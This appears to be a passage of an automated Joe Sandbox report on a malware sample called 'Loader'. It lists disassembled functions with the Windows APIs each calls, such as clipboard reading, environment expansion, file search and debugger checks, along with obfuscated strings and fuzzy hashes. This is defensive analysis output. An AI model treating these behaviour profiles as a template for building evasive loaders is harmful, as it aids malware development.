Instruction Fuzzy Hash: 4C8228729183518BC324CF29C8917ABB7F2FFC5310F19896DE8858B395E7389946C786

Function 00434280 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 134clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00434294
GetClipboardData.USER32 ref: 004342AF
GlobalLock.KERNEL32 ref: 004342CE
GetWindowLongW.USER32 ref: 0043432D
GlobalUnlock.KERNEL32 ref: 0043443B
CloseClipboard.USER32 ref: 00434444

Strings

K, xrefs: 0043433E
., xrefs: 00434352
/, xrefs: 0043435C
#, xrefs: 00434348
u, xrefs: 0043437F
", xrefs: 00434357
%, xrefs: 00434343

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: "$#$%$.$/$K$u
API String ID: 2832541153-3922017006
Opcode ID: e9c7e297a27e903fe21926105776f6d80fae10f0dbce1491966e4cf4d3ebcd9a
Instruction ID: e89ca9f39744d96e7a045b5fcc5e7aecb6bb4e495cea4c0b541668d6ba7f2f1e
Opcode Fuzzy Hash: e9c7e297a27e903fe21926105776f6d80fae10f0dbce1491966e4cf4d3ebcd9a
Instruction Fuzzy Hash: 7B41BC7150C7818FD300AF78988936FBEE1ABE5318F09493EE4C587392D6788549875B

Function 00427050 Relevance: 10.5, Strings: 8, Instructions: 498COMMON

Download Yara Rule

Strings

D]tS, xrefs: 0042713E
XQ^@, xrefs: 004275BF
ryb~, xrefs: 004275DF
jhq&, xrefs: 00427156
TIIG, xrefs: 004275C7
MCO{, xrefs: 00427146
U{V_, xrefs: 00427136
JlxK, xrefs: 0042714E

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: D]tS$JlxK$MCO{$TIIG$U{V_$XQ^@$jhq&$ryb~
API String ID: 0-1178632756
Opcode ID: 9a6ba5a05d67d7f56d871a33e8460bd0c2fb8cbd62bc22434cac8368c37395f6
Instruction ID: 5b75185fb86b45141040d5e9b46c0ac5a7e5f247f01999525b5781695198bb6b
Opcode Fuzzy Hash: 9a6ba5a05d67d7f56d871a33e8460bd0c2fb8cbd62bc22434cac8368c37395f6
Instruction Fuzzy Hash: C3F121B560C391CFC7108F25A88166FBBE1AF9A308F04487EE9C557352D639D806CB5B

Function 00429DF0 Relevance: 9.5, APIs: 2, Strings: 3, Instructions: 705COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00429F70
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,?,?), ref: 00429FF6

Strings

`, xrefs: 0042A4B0
B|zB, xrefs: 0042A1D0
FxG~, xrefs: 0042A1AC

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: B|zB$FxG~$`
API String ID: 237503144-3359900383
Opcode ID: 116511bb75e907b219308a623deef6e41a34fd5a468242b785800374cb6d2fce
Instruction ID: bb8dba36a1d0319bbbb76b93e2e15360b571ed9d5291001c4d0d094f21b3f638
Opcode Fuzzy Hash: 116511bb75e907b219308a623deef6e41a34fd5a468242b785800374cb6d2fce
Instruction Fuzzy Hash: 46326876A083508FD3148F29E84166FB7E2BBC9314F598A7DE9C587381DB78D901878A

Function 004096B0 Relevance: 9.1, Strings: 7, Instructions: 385COMMON

Download Yara Rule

Strings

sM/O, xrefs: 00409AC0
18E245005AC07055C82A8148C6E54400, xrefs: 00409768
DE, xrefs: 00409AB3
UW, xrefs: 004099D4
0A;C, xrefs: 00409AAB
$%, xrefs: 004099F4
t, xrefs: 00409724

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $%$0A;C$18E245005AC07055C82A8148C6E54400$DE$sM/O$t$UW
API String ID: 0-208288380
Opcode ID: 134623a633d13c8131fbc5e93eae74016705f1b4b4ad1ebedeeba70b155dc081
Instruction ID: 1b412a982149fa6f93395a77e29896f7a75e14dc21355640186dd62c3daff885
Opcode Fuzzy Hash: 134623a633d13c8131fbc5e93eae74016705f1b4b4ad1ebedeeba70b155dc081
Instruction Fuzzy Hash: 13C128726083409BD718DF35C8516AFBBE6EBC2304F148A3DE4D59B395DA38C905CB5A

Function 004162D2 Relevance: 9.1, Strings: 7, Instructions: 340COMMON

Download Yara Rule

Strings

}t, xrefs: 0041644E
]G, xrefs: 00416572
Kz, xrefs: 00416443
Gl, xrefs: 0041657D
[v, xrefs: 00416438
2nA, xrefs: 004167F5
Z<, xrefs: 00416567

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 2nA$Gl$Kz$Z<$[v$]G$}t
API String ID: 0-4142317612
Opcode ID: f9a28699d6b31238ebf079d96b8938e21f7f7c9835c25847d26b9e48ded2a9f9
Instruction ID: db414186b08997a42f23d7f1092f780397a9a9a67ccbe03356ec6bbeb542239d
Opcode Fuzzy Hash: f9a28699d6b31238ebf079d96b8938e21f7f7c9835c25847d26b9e48ded2a9f9
Instruction Fuzzy Hash: 34C175B55193908BD3318F14C4A13EBBBF1EFD6304F09896DD8C94B291DB389946CB86

Function 00423AE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 239COMMON

Download Yara Rule

Strings

AE, xrefs: 00423B0F
@C, xrefs: 00423B1A
HL, xrefs: 00423B25
_A, xrefs: 00423A10, 00423A49, 00423A92

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: @C$AE$HL$_A
API String ID: 0-4030145219
Opcode ID: 534efaf77f455908aff534492c1509aef461239d46665a5585177bf4a958e2c3
Instruction ID: a80bbf8f79369a0e44c9644778e8ef5235acd6d4d06437ec876c1968ce67e6fb
Opcode Fuzzy Hash: 534efaf77f455908aff534492c1509aef461239d46665a5585177bf4a958e2c3
Instruction Fuzzy Hash: 7C814476A183009FE320CF15EC4179FB6E5FBC5308F04893DF69497291DBB895058B86

Function 0033B177 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,0033AB2D,?,00000000), ref: 0033B210
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,0033AB2D,?,00000000), ref: 0033B239
GetACP.KERNEL32(?,?,0033AB2D,?,00000000), ref: 0033B24E

Strings

ACP, xrefs: 0033B195
OCP, xrefs: 0033B1CB

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 75e5bc74e510796ea6d9397a3a44f405881058740a38e44c6f06c35cffa6a143
Instruction ID: f09f392847186d58496730caf7e05dc80c8f4ff3b5f51dd2d5bade8b5c11f2f7
Opcode Fuzzy Hash: 75e5bc74e510796ea6d9397a3a44f405881058740a38e44c6f06c35cffa6a143
Instruction Fuzzy Hash: 3B21A722E00104A6DB368F55C981AABF3A6AF94B54F574A24EB0ADB114E732DD40C750

Function 0033A9F7 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetUserDefaultLCID.KERNEL32 ref: 0033AAFF
IsValidCodePage.KERNEL32(00000000), ref: 0033AB3D
IsValidLocale.KERNEL32(?,00000001), ref: 0033AB50
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 0033AB98
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 0033ABB3

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: aad4ed34b6b8937640fc418f1bd5716332bbbd073c7fa13329e49a27b28839b2
Instruction ID: 6e8e3c78a983155e02cc1323484678d4ee17ecb08e1dc2ec05e73b2a630c425a
Opcode Fuzzy Hash: aad4ed34b6b8937640fc418f1bd5716332bbbd073c7fa13329e49a27b28839b2
Instruction Fuzzy Hash: 34517372A00A19ABDF12DFA5CCC1ABEB7B9FF04700F054569E941EB190EB749940DB62

Function 004237C0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 300COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 00423900
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,998682E1), ref: 004239C0

Strings

QS, xrefs: 004237D2
_A, xrefs: 00423A10, 00423A49, 00423A92

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: _A$QS
API String ID: 237503144-425339690
Opcode ID: 4762ee07f7709c5bcd6f4bf0c8ec826581c1f83c059e326cb24f1ab0a6b071cb
Instruction ID: ff13ee4a08f2bc40c02b98611d89e7d10dbb1fafe05ff50cca4a939355d2c245
Opcode Fuzzy Hash: 4762ee07f7709c5bcd6f4bf0c8ec826581c1f83c059e326cb24f1ab0a6b071cb
Instruction Fuzzy Hash: 50A1F0B66183109BE310CF25EC8171BBBE1FBC6318F048A3DF9949B391D7B599058B86

Function 00420130 Relevance: 6.8, Strings: 5, Instructions: 500COMMON

Download Yara Rule

Strings

Kq, xrefs: 004202DA
D:, xrefs: 004204F4
74, xrefs: 004204E0
WD, xrefs: 004202E2
Bt, xrefs: 004202D2

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 74$Bt$Kq$WD$D:
API String ID: 0-3575891768
Opcode ID: 8b69e38a951d46793538621483d2774adb47c41ab40b947929baeac8a2f04a7c
Instruction ID: f5160d97b9eac11fab9500262d1b66c28d53c3fa8702a8ff15d64c5c26f1ec96
Opcode Fuzzy Hash: 8b69e38a951d46793538621483d2774adb47c41ab40b947929baeac8a2f04a7c
Instruction Fuzzy Hash: D8E14676A183218BD728CF25C85136BB7E2FFD5314F08892DD9C28B385E7789805CB96

Function 0042CC46 Relevance: 6.5, Strings: 5, Instructions: 211COMMON

Download Yara Rule

Strings

WQ%M, xrefs: 0042CD53
-!A, xrefs: 0042CD80
1,, xrefs: 0042CD63
x~ly, xrefs: 0042CD5B
/, xrefs: 0042CC7D

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -!A$/$1,$WQ%M$x~ly
API String ID: 0-1076345736
Opcode ID: df7137c20f6d98db71fd7f9cd5ab8673dccb301e0d52dc62b0ac4a7c1e4ba469
Instruction ID: c81af30fa47a614f92e316ab3865125c2c0ebe1d49a083b5cf17de503e1f0e37
Opcode Fuzzy Hash: df7137c20f6d98db71fd7f9cd5ab8673dccb301e0d52dc62b0ac4a7c1e4ba469
Instruction Fuzzy Hash: BE512B7160C3E18BD3058B2A94A037BFFE19FE7701F68845EE5D15B382D67988058BA7

Function 0042CE63 Relevance: 6.5, Strings: 5, Instructions: 209COMMON

Download Yara Rule

Strings

WQ%M, xrefs: 0042CF73
/, xrefs: 0042CE9A
x~ly, xrefs: 0042CF7B
-!A, xrefs: 0042CFA0
1,, xrefs: 0042CF83

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -!A$/$1,$WQ%M$x~ly
API String ID: 0-1076345736
Opcode ID: ef50efb5b4acaef2404ef908d4d049a33927374b76c53d0c1120b1c30fb30d09
Instruction ID: 6becc890d84fb257d89dfee27970379ddd0fc9186fd5d0e68907015a65abed32
Opcode Fuzzy Hash: ef50efb5b4acaef2404ef908d4d049a33927374b76c53d0c1120b1c30fb30d09
Instruction Fuzzy Hash: ED512B70A0C3E18BD3158B2A94A037BFFD19FE7701F68845EE5D157381D67988058BA7

Function 00333400 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction ID: 48d6f57b6ee1e8824939b0848cafb3657513b2c9f968159c9322018781552e0c
Opcode Fuzzy Hash: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction Fuzzy Hash: 6B0239B1E012199FDF15CFA9C9C06AEBBF1FF48314F258269E519EB340D731AA458B90

Function 0033B759 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033B849

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 022e1ee2eac435a8ee6d69c3acf917323cd75c433a345e70557a0b8c9bfebe4d
Instruction ID: 7e4df040740b1b120c87295b99a65c481f81b9c52139c25a386b1eafcd0ec2ca
Opcode Fuzzy Hash: 022e1ee2eac435a8ee6d69c3acf917323cd75c433a345e70557a0b8c9bfebe4d
Instruction Fuzzy Hash: 3071A1719051689FDF22AF28CCCABAAF7B9EF45300F5541D9E249AB211EB315E849F10

Function 00329A33 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00329A3F
IsDebuggerPresent.KERNEL32 ref: 00329B0B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00329B24
UnhandledExceptionFilter.KERNEL32(?), ref: 00329B2E

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1115dd5648234f72b9b65155925bfacc83765900ad2d0dcec611b4a2bbf427e8
Instruction ID: 31a72b661b3766789a40f01430f1e21cfe9944fd0521edee2eb6d5963ad5d7a1
Opcode Fuzzy Hash: 1115dd5648234f72b9b65155925bfacc83765900ad2d0dcec611b4a2bbf427e8
Instruction Fuzzy Hash: 88310A75D01228DBDF61EF64D9497CDBBB8BF08700F1041EAE40CAB250EB749A848F45

Function 0042C63D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0042C78F

Strings

_`, xrefs: 0042C7A8
vm#b, xrefs: 0042C7A0

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: _`$vm#b
API String ID: 3664257935-1728712856
Opcode ID: e53f08ddf99994442553c084195a65b1456403216c45deaff13bb5ab18a3460d
Instruction ID: c3b53cb5a17e9d19d5249ff015162dbf28cf73674390ba62343818fa9bc44c10
Opcode Fuzzy Hash: e53f08ddf99994442553c084195a65b1456403216c45deaff13bb5ab18a3460d
Instruction Fuzzy Hash: 325114716483829FD3158F25D89176BBFE1AFD2310F18992DE1D68B281DB7888058B57

Function 0041AA81 Relevance: 4.2, Strings: 3, Instructions: 488COMMON

Download Yara Rule

Strings

0, xrefs: 0041AEA4
gfff, xrefs: 0041AAB4
07Y, xrefs: 0041ACAB

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 0$07Y$gfff
API String ID: 0-3731902943
Opcode ID: 9a038d0fdd0153f5bf756e2ced00d44fafd22744d4e1503639a27f9596a22375
Instruction ID: 26db738034a22c520161b30420a9933d2acc67b269f448894966435822cf2757
Opcode Fuzzy Hash: 9a038d0fdd0153f5bf756e2ced00d44fafd22744d4e1503639a27f9596a22375
Instruction Fuzzy Hash: DAC14A3060A3418BC7258F28C4912A7BBF2EFD6320F18855EE5D18B391E33D9855C75B

Function 00421600 Relevance: 4.1, Strings: 3, Instructions: 326COMMON

Download Yara Rule

Strings

>0, xrefs: 0042163F
9, xrefs: 00421637
x, xrefs: 0042164F

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 9$>0$x
API String ID: 0-1232632554
Opcode ID: 3e016b760f0ba3c9620baf6b90ad7076c84c82c3e05c1fa2d5428d8f1798b52d
Instruction ID: a15ceac8e34a6d6ead5daf2351f5c682b3a1cfda95a6a2be99d7c9f15c15af21
Opcode Fuzzy Hash: 3e016b760f0ba3c9620baf6b90ad7076c84c82c3e05c1fa2d5428d8f1798b52d
Instruction Fuzzy Hash: 249123B5A043219BD7209F24DC82B67B3B0EFD5354F08852EF9899B391E778E801C75A

Function 00417FBC Relevance: 4.1, Strings: 3, Instructions: 325COMMON

Download Yara Rule

Strings

D, xrefs: 0041838B
[_, xrefs: 0041817C
fY, xrefs: 00418184

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: D$[_$fY
API String ID: 0-733380153
Opcode ID: 51856e5099c74df1fc07e65b7bda08bc62192bdcf520bf499ebd3990fdc9bd96
Instruction ID: e600800951c0d246200edf198352cbf1854996a72d2edab27a39a4e0f7ee8b1f
Opcode Fuzzy Hash: 51856e5099c74df1fc07e65b7bda08bc62192bdcf520bf499ebd3990fdc9bd96
Instruction Fuzzy Hash: 4AA19BB1118340CBD3288F24C8A1BABBBF1FF86354F09595DE4865F3A1E7798845CB5A

Function 00413D50 Relevance: 3.6, Strings: 2, Instructions: 1117COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00414440
RAA, xrefs: 00414146

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: D]+\$RAA
API String ID: 0-2997780931
Opcode ID: 34c27bd9d1288e6d173f317dd7ee89ea1b07e6df424be4839f1b6e0f8a31b356
Instruction ID: 65781ec4038b74b51e0c428162170844e7c8db529c6f3fe48934e8f45840f545
Opcode Fuzzy Hash: 34c27bd9d1288e6d173f317dd7ee89ea1b07e6df424be4839f1b6e0f8a31b356
Instruction Fuzzy Hash: 0D527679608301DBD7189F19EC41BBB73E2EBC6315F05483EE88597282E7389D42C78A

Function 00408FE0 Relevance: 2.8, Strings: 2, Instructions: 286COMMON

Download Yara Rule

Strings

AY[g, xrefs: 00409053
79, xrefs: 00408FFD

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 79$AY[g
API String ID: 0-767607040
Opcode ID: 75940066473ea754df7debfb61beb5f349bdf3c574ea88399dab23c11acdc1af
Instruction ID: 2378d829f951076b51066a7ac086adcacedc0a2d49c7517852f85ee3cb7ca400
Opcode Fuzzy Hash: 75940066473ea754df7debfb61beb5f349bdf3c574ea88399dab23c11acdc1af
Instruction Fuzzy Hash: 188118616483819FD315CF2984907ABBFE1AFD7301F0889ADE4D58B382D23D890EC756

Function 0042BC0F Relevance: 2.7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

Strings

HTJ@, xrefs: 0042BD54
NEzL, xrefs: 0042BCA9

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: HTJ@$NEzL
API String ID: 0-778903024
Opcode ID: cdb93f8508b33442bc4b86824c012b887ad7add5c49574bd6d2b58a9ae40dab9
Instruction ID: f250adcc034ca2d69ec01274816afd61d580dd097cb6860af304507c585650cb
Opcode Fuzzy Hash: cdb93f8508b33442bc4b86824c012b887ad7add5c49574bd6d2b58a9ae40dab9
Instruction Fuzzy Hash: 4F41232460D7E18ADB328B3994A43F7BBE19F97314F9809ADC4CD9B343CB3904068796

Function 0042BBCB Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

HTJ@, xrefs: 0042BD54
NEzL, xrefs: 0042BCA9

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: HTJ@$NEzL
API String ID: 0-778903024
Opcode ID: 806f3c58126dd206b782976f3eab4f1b5fd7efcc072ccba837e147ad8b25bb6e
Instruction ID: 50480005730b2ed0de741354e1467de79a17c865a4212da3418e2b02d3e8f24a
Opcode Fuzzy Hash: 806f3c58126dd206b782976f3eab4f1b5fd7efcc072ccba837e147ad8b25bb6e
Instruction Fuzzy Hash: 9341072420D7E14ADF369B3990643F7BBE19F97314FA8459DC0D94B243CB384406CB96

Function 0042BB79 Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

HTJ@, xrefs: 0042BD54
NEzL, xrefs: 0042BCA9

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: HTJ@$NEzL
API String ID: 0-778903024
Opcode ID: 4b556cf63778863a4b21db29bc6b3fc65a6cbfa19378192689087ff3aa3b68fc
Instruction ID: 279d10894c9e7d1f9220d9bc0612f94080851a018c3da9949d07ce01a39e61d1
Opcode Fuzzy Hash: 4b556cf63778863a4b21db29bc6b3fc65a6cbfa19378192689087ff3aa3b68fc
Instruction Fuzzy Hash: 0631A02410D7E18ADF319B39A0643FBBBE19BA7314F98499DC0DD5B243CB384406CB56

Function 0043D9A0 Relevance: 1.9, Strings: 1, Instructions: 626COMMON

Download Yara Rule

Strings

f, xrefs: 0043DB86

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

